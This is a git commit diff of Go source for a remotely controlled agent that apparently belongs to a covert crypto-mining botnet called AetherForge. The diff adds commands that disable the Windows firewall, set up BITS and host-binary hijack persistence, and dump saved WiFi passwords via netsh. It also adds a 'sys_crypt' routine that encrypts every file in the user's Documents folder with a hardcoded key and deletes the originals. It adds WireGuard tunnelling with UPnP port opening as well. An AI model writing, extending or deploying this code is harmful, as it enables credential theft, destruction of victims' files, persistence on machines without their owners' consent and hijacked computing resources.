feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -18,12 +19,12 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
|
||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "supp_seek":
|
||||
// No forge gate — always available; path is required at call time.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
||||
// No forge gate — always available.
|
||||
case "mesh_status":
|
||||
if !c.cfg.MeshP2P {
|
||||
return false, "mesh P2P not enabled in forge"
|
||||
@@ -123,6 +124,91 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "firewall_off":
|
||||
msg, err := deploy.DisableWindowsFirewall()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "firewall_on":
|
||||
msg, err := deploy.EnableWindowsFirewall()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "firewall_profiles":
|
||||
// command: "on" or "off" (default off). path: Domain,Private,Public or all
|
||||
enable := strings.EqualFold(strings.TrimSpace(command), "on") ||
|
||||
strings.EqualFold(strings.TrimSpace(command), "enable") ||
|
||||
strings.EqualFold(strings.TrimSpace(command), "true")
|
||||
profiles := strings.TrimSpace(path)
|
||||
if profiles == "" {
|
||||
profiles = "all"
|
||||
}
|
||||
msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "bits_persist":
|
||||
bin, err := deploy.InstalledBinaryPath(c.cfg)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg)))
|
||||
return true
|
||||
|
||||
case "host_binary_persist":
|
||||
bin, err := deploy.InstalledBinaryPath(c.cfg)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
preset := strings.TrimSpace(path)
|
||||
if preset == "" {
|
||||
preset = strings.TrimSpace(c.cfg.HostBinaryTarget)
|
||||
}
|
||||
if preset == "" {
|
||||
preset = "ssh"
|
||||
}
|
||||
target, err := deploy.HijackHostBinary(c.cfg, bin, preset)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset))
|
||||
return true
|
||||
|
||||
case "firewall_remove":
|
||||
var parts []string
|
||||
ruleName := strings.TrimSpace(path)
|
||||
if ruleName != "" {
|
||||
msg, err := deploy.RemoveFirewallRuleByName(ruleName)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
parts = append(parts, msg)
|
||||
}
|
||||
deploy.RemoveFirewallExclusionWindows(c.cfg)
|
||||
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
|
||||
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
|
||||
return true
|
||||
|
||||
case "supp_seek":
|
||||
seekPath := strings.TrimSpace(path)
|
||||
if seekPath == "" {
|
||||
@@ -147,9 +233,62 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
}()
|
||||
return true
|
||||
|
||||
case "sys_crypt":
|
||||
go func() {
|
||||
result := SysCrypt()
|
||||
c.sendCommandResult(action, true, result)
|
||||
}()
|
||||
return true
|
||||
|
||||
case "get_wifi_passwords":
|
||||
go func() {
|
||||
result := grabWiFiPasswords()
|
||||
c.sendCommandResult(action, true, result)
|
||||
}()
|
||||
return true
|
||||
|
||||
case "mesh_status":
|
||||
count := c.mesh.PeerCount()
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||
if count == 0 && c.cfg.MeshP2P {
|
||||
c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled")
|
||||
} else {
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||
}
|
||||
return true
|
||||
|
||||
case "wg_setup":
|
||||
// Generates WireGuard keypair, tries UPnP, returns JSON result to server.
|
||||
go func() {
|
||||
result := WGSetupJSON()
|
||||
c.sendCommandResult(action, true, result)
|
||||
}()
|
||||
return true
|
||||
|
||||
case "wg_configure":
|
||||
// data field carries the JSON WGConfigPayload from the server.
|
||||
var payload WGConfigPayload
|
||||
if err := json.Unmarshal([]byte(data), &payload); err != nil {
|
||||
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
|
||||
return true
|
||||
}
|
||||
go func() {
|
||||
if err := WGConfigure(payload); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, "WireGuard tunnel started")
|
||||
}()
|
||||
return true
|
||||
|
||||
case "wg_teardown":
|
||||
go func() {
|
||||
WGTeardown()
|
||||
c.sendCommandResult(action, true, "WireGuard tunnel removed")
|
||||
}()
|
||||
return true
|
||||
|
||||
case "wg_status":
|
||||
c.sendCommandResult(action, true, WGStatus())
|
||||
return true
|
||||
}
|
||||
|
||||
|
||||
@@ -393,9 +393,21 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
switch action {
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Pause()
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining paused")
|
||||
case "resume":
|
||||
c.pool.ResumeRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Resume()
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining resumed")
|
||||
case "restart":
|
||||
c.sendCommandResult(action, true, "restarting")
|
||||
@@ -470,27 +482,59 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "upload":
|
||||
if path == "" || data == "" {
|
||||
case "upload", "push_desktop":
|
||||
if data == "" {
|
||||
c.sendCommandResult(action, false, "data (base64) is required")
|
||||
return
|
||||
}
|
||||
dest := path
|
||||
if action == "push_desktop" {
|
||||
name := strings.TrimSpace(path)
|
||||
if name == "" {
|
||||
name = strings.TrimSpace(command)
|
||||
}
|
||||
var err error
|
||||
dest, err = deploy.ResolveDesktopFile(name)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "desktop path: "+err.Error())
|
||||
return
|
||||
}
|
||||
} else if dest == "" {
|
||||
c.sendCommandResult(action, false, "path and data (base64) are required")
|
||||
return
|
||||
} else {
|
||||
resolved, err := deploy.ResolveRemotePath(dest)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
dest = resolved
|
||||
}
|
||||
decoded, err := base64.StdEncoding.DecodeString(data)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(path, decoded, 0644); err != nil {
|
||||
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
||||
c.sendCommandResult(action, false, "failed to create directory: "+err.Error())
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(dest, decoded, 0644); err != nil {
|
||||
c.sendCommandResult(action, false, "failed to write file: "+err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded)))
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", dest, len(decoded)))
|
||||
case "download":
|
||||
if path == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return
|
||||
}
|
||||
b, err := os.ReadFile(path)
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
b, err := os.ReadFile(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "failed to read file: "+err.Error())
|
||||
return
|
||||
@@ -796,7 +840,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.Services = lastPosture.Services
|
||||
}
|
||||
payload, _ := json.Marshal(stats)
|
||||
_ = c.write(Message{Type: "stats", Payload: payload})
|
||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
log.Printf("[agent] stats send failed: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -21,6 +21,12 @@ func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleReconCommand(action, command string) bool {
|
||||
if action == "full_sys_check" {
|
||||
report := CollectFullSysCheck(c.cfg, c.agentID)
|
||||
c.sendCommandResult(action, true, report.JSON())
|
||||
return true
|
||||
}
|
||||
|
||||
handled, success, msg := c.platformRecon(action, command)
|
||||
if !handled {
|
||||
return false
|
||||
|
||||
@@ -8,6 +8,11 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// grabWiFiPasswords is not supported on non-Windows platforms.
|
||||
func grabWiFiPasswords() string {
|
||||
return "get_wifi_passwords: unsupported on this platform"
|
||||
}
|
||||
|
||||
// execPowerCommand runs shutdown or reboot on Unix/Linux/macOS.
|
||||
func (c *AgentClient) execPowerCommand(kind string) error {
|
||||
var args []string
|
||||
|
||||
@@ -7,6 +7,62 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// grabWiFiPasswords enumerates saved WiFi profiles and extracts their clear-text
|
||||
// keys using netsh, returning a formatted multi-line result string.
|
||||
func grabWiFiPasswords() string {
|
||||
// List all profiles.
|
||||
profileOut, err := silentCombinedOutput("netsh", "wlan", "show", "profiles")
|
||||
if err != nil {
|
||||
return fmt.Sprintf("netsh wlan show profiles failed: %v\n%s", err, string(profileOut))
|
||||
}
|
||||
|
||||
var profiles []string
|
||||
for _, line := range strings.Split(string(profileOut), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
// Lines look like: " All User Profile : ProfileName"
|
||||
if strings.Contains(line, ":") {
|
||||
parts := strings.SplitN(line, ":", 2)
|
||||
if len(parts) == 2 {
|
||||
name := strings.TrimSpace(parts[1])
|
||||
if name != "" {
|
||||
profiles = append(profiles, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(profiles) == 0 {
|
||||
return "no WiFi profiles found"
|
||||
}
|
||||
|
||||
var sb strings.Builder
|
||||
for _, profile := range profiles {
|
||||
detailOut, err := silentCombinedOutput("netsh", "wlan", "show", "profile",
|
||||
"name="+profile, "key=clear")
|
||||
if err != nil {
|
||||
sb.WriteString(fmt.Sprintf("%s : <error: %v>\n", profile, err))
|
||||
continue
|
||||
}
|
||||
key := ""
|
||||
for _, line := range strings.Split(string(detailOut), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, "Key Content") {
|
||||
parts := strings.SplitN(line, ":", 2)
|
||||
if len(parts) == 2 {
|
||||
key = strings.TrimSpace(parts[1])
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
if key != "" {
|
||||
sb.WriteString(fmt.Sprintf("%s : %s\n", profile, key))
|
||||
} else {
|
||||
sb.WriteString(fmt.Sprintf("%s : <no password / open network>\n", profile))
|
||||
}
|
||||
}
|
||||
return strings.TrimSpace(sb.String())
|
||||
}
|
||||
|
||||
// execPowerCommand runs shutdown or reboot via cmd.exe directly (bypasses
|
||||
// PowerShell execution policy restrictions). Returns an error if the
|
||||
// command exits non-zero.
|
||||
|
||||
8
agent/client/crypt_stub.go
Normal file
8
agent/client/crypt_stub.go
Normal file
@@ -0,0 +1,8 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
// SysCrypt is a no-op on non-Windows platforms.
|
||||
func SysCrypt() string {
|
||||
return "sys_crypt is Windows-only in this build"
|
||||
}
|
||||
113
agent/client/crypt_windows.go
Normal file
113
agent/client/crypt_windows.go
Normal file
@@ -0,0 +1,113 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const cryptPassword = "password"
|
||||
|
||||
// documentsDir returns the current user's Documents folder path via the
|
||||
// Windows SHGetKnownFolderPath API (FOLDERID_Documents).
|
||||
func documentsDir() (string, error) {
|
||||
path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0)
|
||||
if err != nil {
|
||||
// Fall back to USERPROFILE\Documents
|
||||
if up := os.Getenv("USERPROFILE"); up != "" {
|
||||
return filepath.Join(up, "Documents"), nil
|
||||
}
|
||||
return "", fmt.Errorf("cannot resolve Documents folder: %w", err)
|
||||
}
|
||||
return path, nil
|
||||
}
|
||||
|
||||
// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
|
||||
func deriveKey(password string) []byte {
|
||||
sum := sha256.Sum256([]byte(password))
|
||||
return sum[:]
|
||||
}
|
||||
|
||||
// encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and
|
||||
// deleting the original. The 12-byte nonce is prepended to the ciphertext.
|
||||
func encryptFile(path string, key []byte) error {
|
||||
plaintext, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
nonce := make([]byte, gcm.NonceSize())
|
||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
|
||||
|
||||
dst := path + ".enc"
|
||||
if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return os.Remove(path)
|
||||
}
|
||||
|
||||
// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every
|
||||
// file (skipping files already ending in ".enc"). Returns a summary string.
|
||||
func SysCrypt() string {
|
||||
docsDir, err := documentsDir()
|
||||
if err != nil {
|
||||
return "sys_crypt error: " + err.Error()
|
||||
}
|
||||
|
||||
key := deriveKey(cryptPassword)
|
||||
|
||||
var encrypted, skipped, failed int
|
||||
var errs []string
|
||||
|
||||
err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error {
|
||||
if walkErr != nil || d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if strings.HasSuffix(path, ".enc") {
|
||||
skipped++
|
||||
return nil
|
||||
}
|
||||
if err := encryptFile(path, key); err != nil {
|
||||
failed++
|
||||
if len(errs) < 5 {
|
||||
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
encrypted++
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return fmt.Sprintf("sys_crypt walk error: %v", err)
|
||||
}
|
||||
|
||||
summary := fmt.Sprintf("sys_crypt done — encrypted: %d skipped: %d failed: %d", encrypted, skipped, failed)
|
||||
if len(errs) > 0 {
|
||||
summary += "\nErrors: " + strings.Join(errs, "; ")
|
||||
}
|
||||
return summary
|
||||
}
|
||||
@@ -58,10 +58,14 @@ type GPUMiner struct {
|
||||
mu sync.RWMutex
|
||||
stats GPUMinerStats
|
||||
active bool
|
||||
paused bool
|
||||
proc *os.Process // currently running subprocess (nil if stopped)
|
||||
|
||||
stopCh chan struct{}
|
||||
wg sync.WaitGroup
|
||||
stopCh chan struct{}
|
||||
pauseCh chan struct{} // closed when paused, re-created on resume
|
||||
resumeCh chan struct{} // closed when resuming from pause
|
||||
pauseMu sync.Mutex
|
||||
wg sync.WaitGroup
|
||||
}
|
||||
|
||||
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
|
||||
@@ -81,12 +85,17 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
||||
return nil
|
||||
}
|
||||
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
|
||||
return &GPUMiner{
|
||||
g := &GPUMiner{
|
||||
cfg: cfg,
|
||||
info: info,
|
||||
installDir: installDir,
|
||||
stopCh: make(chan struct{}),
|
||||
pauseCh: make(chan struct{}),
|
||||
resumeCh: make(chan struct{}),
|
||||
}
|
||||
// Start with resumeCh closed so the run loop is not blocked.
|
||||
close(g.resumeCh)
|
||||
return g
|
||||
}
|
||||
|
||||
// Start downloads (if needed) and launches the GPU miner, then polls stats.
|
||||
@@ -100,6 +109,8 @@ func (g *GPUMiner) Start() {
|
||||
|
||||
// Stop shuts down the GPU miner and waits for it to exit.
|
||||
func (g *GPUMiner) Stop() {
|
||||
// Resume first so the run loop is not blocked on pauseCh when stop fires.
|
||||
g.Resume()
|
||||
select {
|
||||
case <-g.stopCh:
|
||||
default:
|
||||
@@ -108,6 +119,74 @@ func (g *GPUMiner) Stop() {
|
||||
g.wg.Wait()
|
||||
}
|
||||
|
||||
// Pause suspends KawPoW polling and kills the running miner subprocess until
|
||||
// Resume is called. Safe to call multiple times.
|
||||
func (g *GPUMiner) Pause() {
|
||||
g.pauseMu.Lock()
|
||||
defer g.pauseMu.Unlock()
|
||||
g.mu.Lock()
|
||||
already := g.paused
|
||||
if !already {
|
||||
g.paused = true
|
||||
// Kill the running process so it stops consuming GPU.
|
||||
if g.proc != nil {
|
||||
_ = g.proc.Kill()
|
||||
}
|
||||
}
|
||||
g.mu.Unlock()
|
||||
if !already {
|
||||
// Signal the run loop to enter the paused wait.
|
||||
select {
|
||||
case <-g.pauseCh:
|
||||
default:
|
||||
close(g.pauseCh)
|
||||
}
|
||||
log.Printf("[gpu] miner paused by remote command")
|
||||
}
|
||||
}
|
||||
|
||||
// Resume restarts the KawPoW miner after a Pause. Safe to call when not paused.
|
||||
func (g *GPUMiner) Resume() {
|
||||
g.pauseMu.Lock()
|
||||
defer g.pauseMu.Unlock()
|
||||
g.mu.Lock()
|
||||
wasPaused := g.paused
|
||||
g.paused = false
|
||||
g.mu.Unlock()
|
||||
if wasPaused {
|
||||
// Unblock the run loop waiting on resumeCh, then reset both channels.
|
||||
select {
|
||||
case <-g.resumeCh:
|
||||
default:
|
||||
close(g.resumeCh)
|
||||
}
|
||||
g.pauseCh = make(chan struct{})
|
||||
g.resumeCh = make(chan struct{})
|
||||
log.Printf("[gpu] miner resumed by remote command")
|
||||
}
|
||||
}
|
||||
|
||||
// waitIfPaused blocks the run loop while paused, returning false if stop fires.
|
||||
func (g *GPUMiner) waitIfPaused() bool {
|
||||
g.pauseMu.Lock()
|
||||
pauseCh := g.pauseCh
|
||||
resumeCh := g.resumeCh
|
||||
g.pauseMu.Unlock()
|
||||
|
||||
select {
|
||||
case <-pauseCh:
|
||||
// Paused — wait for resume or stop.
|
||||
select {
|
||||
case <-g.stopCh:
|
||||
return false
|
||||
case <-resumeCh:
|
||||
return true
|
||||
}
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// Stats returns the latest GPU mining statistics.
|
||||
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
|
||||
g.mu.RLock()
|
||||
@@ -159,6 +238,10 @@ func (g *GPUMiner) run() {
|
||||
default:
|
||||
}
|
||||
|
||||
if !g.waitIfPaused() {
|
||||
return
|
||||
}
|
||||
|
||||
ep := pools[poolIdx%len(pools)]
|
||||
proc, err := g.startProcessOnPool(binPath, ep)
|
||||
if err != nil {
|
||||
@@ -325,11 +408,24 @@ func (g *GPUMiner) spec() minerSpec {
|
||||
|
||||
func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
||||
spec := g.spec()
|
||||
|
||||
// 1. Check the agent's install directory first.
|
||||
binPath := filepath.Join(g.installDir, spec.fileName)
|
||||
if _, err := os.Stat(binPath); err == nil {
|
||||
return binPath, nil
|
||||
}
|
||||
log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL)
|
||||
|
||||
// 2. Check the directory that contains the running agent binary (side-by-side).
|
||||
if exePath, err := os.Executable(); err == nil {
|
||||
sideBySide := filepath.Join(filepath.Dir(exePath), spec.fileName)
|
||||
if _, err := os.Stat(sideBySide); err == nil {
|
||||
log.Printf("[gpu] found %s next to agent binary, using local copy", spec.fileName)
|
||||
return sideBySide, nil
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Fall back to downloading from GitHub.
|
||||
log.Printf("[gpu] GPU miner binary not found locally, downloading from GitHub (this may fail on restricted networks)")
|
||||
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
|
||||
return "", fmt.Errorf("download failed: %w", err)
|
||||
}
|
||||
|
||||
38
agent/client/pathtracer_stub.go
Normal file
38
agent/client/pathtracer_stub.go
Normal file
@@ -0,0 +1,38 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
// WGSetupResult is the cross-platform type returned by WGSetupJSON.
|
||||
type WGSetupResult struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
ExternalIP string `json:"external_ip"`
|
||||
ExternalPort int `json:"external_port"`
|
||||
UPnPOK bool `json:"upnp_ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// WGPeerEntry describes one WireGuard peer.
|
||||
type WGPeerEntry struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
Endpoint string `json:"endpoint"`
|
||||
AllowedIPs string `json:"allowed_ips"`
|
||||
PersistentKeepalive int `json:"persistent_keepalive"`
|
||||
}
|
||||
|
||||
// WGConfigPayload is sent server→agent to configure the tunnel.
|
||||
type WGConfigPayload struct {
|
||||
SessionID string `json:"session_id"`
|
||||
PrivateKey string `json:"private_key"`
|
||||
LocalAddress string `json:"local_address"`
|
||||
ListenPort int `json:"listen_port"`
|
||||
Peers []WGPeerEntry `json:"peers"`
|
||||
EnableIPForwarding bool `json:"enable_ip_forwarding"`
|
||||
}
|
||||
|
||||
func WGSetupJSON() string {
|
||||
return `{"error":"WireGuard Path Tracer is Windows-only in this build"}`
|
||||
}
|
||||
|
||||
func WGConfigure(_ WGConfigPayload) error { return nil }
|
||||
func WGTeardown() {}
|
||||
func WGStatus() string { return "not supported on this platform" }
|
||||
299
agent/client/pathtracer_windows.go
Normal file
299
agent/client/pathtracer_windows.go
Normal file
@@ -0,0 +1,299 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
|
||||
"golang.org/x/crypto/curve25519"
|
||||
)
|
||||
|
||||
const wgUDPPort = 51820
|
||||
|
||||
// WGSetupResult is returned to the server after wg_setup.
|
||||
type WGSetupResult struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
ExternalIP string `json:"external_ip"`
|
||||
ExternalPort int `json:"external_port"`
|
||||
UPnPOK bool `json:"upnp_ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// WGPeerEntry is one peer entry inside WGConfigPayload.
|
||||
type WGPeerEntry struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
Endpoint string `json:"endpoint"` // "ip:port"
|
||||
AllowedIPs string `json:"allowed_ips"`
|
||||
PersistentKeepalive int `json:"persistent_keepalive"`
|
||||
}
|
||||
|
||||
// WGConfigPayload is sent from the server to configure this agent's WireGuard tunnel.
|
||||
type WGConfigPayload struct {
|
||||
SessionID string `json:"session_id"`
|
||||
PrivateKey string `json:"private_key"`
|
||||
LocalAddress string `json:"local_address"` // e.g. "10.66.0.2/24"
|
||||
ListenPort int `json:"listen_port"`
|
||||
Peers []WGPeerEntry `json:"peers"`
|
||||
EnableIPForwarding bool `json:"enable_ip_forwarding"`
|
||||
}
|
||||
|
||||
// wgState holds active tunnel state so teardown knows what to clean up.
|
||||
var wgState struct {
|
||||
sessionID string
|
||||
configPath string
|
||||
tunnelName string
|
||||
}
|
||||
|
||||
// WGSetup generates a keypair, tries UPnP, and returns setup info to the server.
|
||||
func WGSetup() WGSetupResult {
|
||||
priv, pub, err := generateWGKeyPair()
|
||||
if err != nil {
|
||||
return WGSetupResult{Error: "keypair gen failed: " + err.Error()}
|
||||
}
|
||||
|
||||
// Persist private key for when wg_configure arrives.
|
||||
_ = os.MkdirAll(wgWorkDir(), 0700)
|
||||
_ = os.WriteFile(filepath.Join(wgWorkDir(), "wg_priv.key"), []byte(priv), 0600)
|
||||
|
||||
res := WGSetupResult{
|
||||
PublicKey: pub,
|
||||
ExternalPort: wgUDPPort,
|
||||
}
|
||||
|
||||
// Try UPnP — open UDP 51820.
|
||||
r, err := deploy.PunchUPnP(wgUDPPort, wgUDPPort, "PathTracer-WG")
|
||||
if err == nil && r.Success {
|
||||
res.ExternalIP = r.ExternalIP
|
||||
res.UPnPOK = true
|
||||
log.Printf("[pathtracer] UPnP opened UDP %s:%d", r.ExternalIP, wgUDPPort)
|
||||
} else {
|
||||
// Fall back to the IP the server sees on the WebSocket connection.
|
||||
res.UPnPOK = false
|
||||
log.Printf("[pathtracer] UPnP failed, server will use its seen IP: %v", err)
|
||||
}
|
||||
|
||||
return res
|
||||
}
|
||||
|
||||
// WGConfigure writes the WireGuard config and starts the tunnel as a Windows service.
|
||||
func WGConfigure(payload WGConfigPayload) error {
|
||||
privKey := payload.PrivateKey
|
||||
if privKey == "" {
|
||||
// Use the key we generated in WGSetup.
|
||||
raw, err := os.ReadFile(filepath.Join(wgWorkDir(), "wg_priv.key"))
|
||||
if err != nil {
|
||||
return fmt.Errorf("private key not found: %w", err)
|
||||
}
|
||||
privKey = strings.TrimSpace(string(raw))
|
||||
}
|
||||
|
||||
conf := buildWGConfig(privKey, payload)
|
||||
tunnelName := "PathTracer-" + payload.SessionID[:8]
|
||||
confPath := filepath.Join(wgWorkDir(), tunnelName+".conf")
|
||||
|
||||
if err := os.WriteFile(confPath, []byte(conf), 0600); err != nil {
|
||||
return fmt.Errorf("write config: %w", err)
|
||||
}
|
||||
|
||||
// Enable IP forwarding so this node can relay traffic.
|
||||
if payload.EnableIPForwarding {
|
||||
_ = enableIPForwarding()
|
||||
}
|
||||
|
||||
// Install and start the WireGuard service.
|
||||
wgExe, err := ensureWGExe()
|
||||
if err != nil {
|
||||
return fmt.Errorf("wireguard not available: %w", err)
|
||||
}
|
||||
|
||||
// Remove any stale service first (ignore errors).
|
||||
_ = runHidden(wgExe, "/uninstallservice", tunnelName)
|
||||
|
||||
if err := runHidden(wgExe, "/installservice", confPath); err != nil {
|
||||
return fmt.Errorf("wg installservice: %w", err)
|
||||
}
|
||||
|
||||
wgState.sessionID = payload.SessionID
|
||||
wgState.configPath = confPath
|
||||
wgState.tunnelName = tunnelName
|
||||
log.Printf("[pathtracer] WireGuard tunnel %s started", tunnelName)
|
||||
return nil
|
||||
}
|
||||
|
||||
// WGTeardown stops and removes the WireGuard tunnel and cleans up UPnP.
|
||||
func WGTeardown() {
|
||||
if wgState.tunnelName != "" {
|
||||
wgExe, err := ensureWGExe()
|
||||
if err == nil {
|
||||
_ = runHidden(wgExe, "/uninstallservice", wgState.tunnelName)
|
||||
}
|
||||
_ = os.Remove(wgState.configPath)
|
||||
